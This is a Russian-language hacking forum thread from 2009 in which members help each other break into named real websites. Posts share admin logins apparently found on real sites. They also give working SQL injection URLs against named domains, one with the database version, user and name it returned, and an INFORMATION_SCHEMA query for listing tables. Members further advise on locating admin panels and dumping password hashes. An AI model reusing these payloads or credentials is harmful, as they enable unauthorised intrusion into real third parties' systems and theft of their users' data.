Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
  1. Torentte

    Torentte New Member

    Joined:
    3 Oct 2009
    Messages:
    17
    Likes Received:
    1
    Reputations:
    0
    Code:
    http://anthropology.ru/admin/
    нашел лог и пасс, но чёт не пускает, в чём проблема?
    Вот один из логинов dima:123
    И сдесь аналогично
    Code:
    http://ocenshik.mostpp.ru/admin/
    policor:112233
    Заранее благодарен!
     
    #9221 Torentte, 10 Oct 2009
    Last edited: 10 Oct 2009
  2. xa-xa89

    xa-xa89 Elder - Старейшина

    Joined:
    17 May 2008
    Messages:
    108
    Likes Received:
    27
    Reputations:
    2
    2Nightmarе
    если перевести оно не может создать дочерний процесс. а чего не может это уже как говорится извините....
     
  3. Torentte

    Torentte New Member

    Joined:
    3 Oct 2009
    Messages:
    17
    Likes Received:
    1
    Reputations:
    0
    Code:
    http://www.sti.ru/acter.php?id=1
    Через сипт подобрал таблицы, но данные с них не хотят опубликовыватся
    в чём может быть проблема?

    //Разобрался: Выводятся через браузер, кто подскажет почему через сипт не хочет?
     
    #9223 Torentte, 11 Oct 2009
    Last edited: 11 Oct 2009
  4. xa-xa89

    xa-xa89 Elder - Старейшина

    Joined:
    17 May 2008
    Messages:
    108
    Likes Received:
    27
    Reputations:
    2
    http://www.sti.ru/acter.php?id=-1+union+select+1,version()+--+-
     
  5. Torentte

    Torentte New Member

    Joined:
    3 Oct 2009
    Messages:
    17
    Likes Received:
    1
    Reputations:
    0
    у меня в другом проблема, логины у меня выводятся, а пароли почему-то не хотят((
     
  6. Torentte

    Torentte New Member

    Joined:
    3 Oct 2009
    Messages:
    17
    Likes Received:
    1
    Reputations:
    0
    Code:
    _http://www.prodnepr.dp.ua
    Подскажите где сдесь админка
    Заранее спс))
     
  7. M@ZAX@KEP

    M@ZAX@KEP Member

    Joined:
    11 Jun 2009
    Messages:
    83
    Likes Received:
    23
    Reputations:
    0
  8. ^YaHoo^

    ^YaHoo^ Banned

    Joined:
    2 Jan 2009
    Messages:
    22
    Likes Received:
    26
    Reputations:
    0
    Здравствуйте помогите пожалуйста с этим сайтом http://www.avtomagnitoly.ru/?bOrdersLook=1' пытался подобрать кол-во полей немогу может через limit юзать?хотя тоже пытался ничего неполучается подскажите пожалуйста в каком направление копать скулу!
     
  9. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    А в чем разница твоей сслыки и вот этой?

     
  10. ^YaHoo^

    ^YaHoo^ Banned

    Joined:
    2 Jan 2009
    Messages:
    22
    Likes Received:
    26
    Reputations:
    0
    http://www.avtomagnitoly.ru/?bOrdersLook=1' на той которой дал показал что там скула и спрашиваю в каком направление расшарить её!
     
  11. xa-xa89

    xa-xa89 Elder - Старейшина

    Joined:
    17 May 2008
    Messages:
    108
    Likes Received:
    27
    Reputations:
    2
    Разницы между твоей страничкой и страничкой которую дал пашкела никакой и скули там никакой!
     
  12. SeNaP

    SeNaP Elder - Старейшина

    Joined:
    7 Aug 2008
    Messages:
    378
    Likes Received:
    69
    Reputations:
    20
    Это не SQl inj.
    ТС ты чуиш разницу между этим
    http://www.avtomagnitoly.ru/?bOrdersLook=1'
    и этим
    http://www.avtomagnitoly.ru/?bOrdersLook=1
    Как я вижу, разницы здесь нет
    т.е. на запрос нельзя повлеять т.к. нет выводимых полей и сам скрипт функцианирует неправельно
     
  13. Tigger

    Tigger Elder - Старейшина

    Joined:
    27 Aug 2007
    Messages:
    958
    Likes Received:
    527
    Reputations:
    204

    Тама скули нету.
    Зато она есть здесь:
    http://www.avtomagnitoly.ru/?strSearchForValue=1'/**/union/**/select/**/concat_ws(0x3a,version(),user(),database())/*

    5.0.27:eshop@localhost:eshop-avtomagnitoly
     
    #9233 Tigger, 11 Oct 2009
    Last edited: 11 Oct 2009
    2 people like this.
  14. wolmer

    wolmer Member

    Joined:
    12 May 2009
    Messages:
    445
    Likes Received:
    97
    Reputations:
    9
    Как боротся с такими каракулями чтобы был нормальный html ответ?

    К примеру: http://img185.imageshack.us/img185/3456/20699052.jpg

    Если же взять другой сендер то какой лучше брать для этого дела?
     
  15. ElteRUS

    ElteRUS Elder - Старейшина

    Joined:
    11 Oct 2007
    Messages:
    367
    Likes Received:
    460
    Reputations:
    93
    Удали Accept-Encoding. Всю стороку нафиг с пакета
     
  16. TELO

    TELO Member

    Joined:
    21 Jan 2009
    Messages:
    86
    Likes Received:
    44
    Reputations:
    6
    Скажите пожалуйста, а может быть такое что паролей на админку нет в базе?
    Перерыл уже всё что можна, нашол только на юзеров.
    Вот таблы:
    Code:
    http://www.berdyansk.su/view_news.php?id_news=-12573%20union%20select%201,2,3,4,5,group_concat%28table_name+separator+0x0a%29,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21%20FROM%20INFORMATION_SCHEMA.TABLES+where+table_schema=0x6265726479616e735f676f72706f7274616c%20--
     
  17. DrAssault

    DrAssault Member

    Joined:
    14 Nov 2008
    Messages:
    149
    Likes Received:
    89
    Reputations:
    8
    Конечно может :)
     
  18. Krist_ALL

    Krist_ALL Banned

    Joined:
    14 Jan 2009
    Messages:
    436
    Likes Received:
    193
    Reputations:
    24
    пароль может быть в файле или щашит в сам скрипт.
     
    1 person likes this.
  19. DrAssault

    DrAssault Member

    Joined:
    14 Nov 2008
    Messages:
    149
    Likes Received:
    89
    Reputations:
    8
    Что самое интересное, я эту скулю крутил буквально, то ли вчера, то ли позавчера и там на админке была бэйсик авторизация, а сейчас нет :) чудеса ёпт ;)
     
  20. xa-xa89

    xa-xa89 Elder - Старейшина

    Joined:
    17 May 2008
    Messages:
    108
    Likes Received:
    27
    Reputations:
    2
    А может вообще храниться в другой базе с другим юзером куда прав через попасть через эту скулю нет.Но это как вариант)
     
Loading...
Thread Status:
Not open for further replies.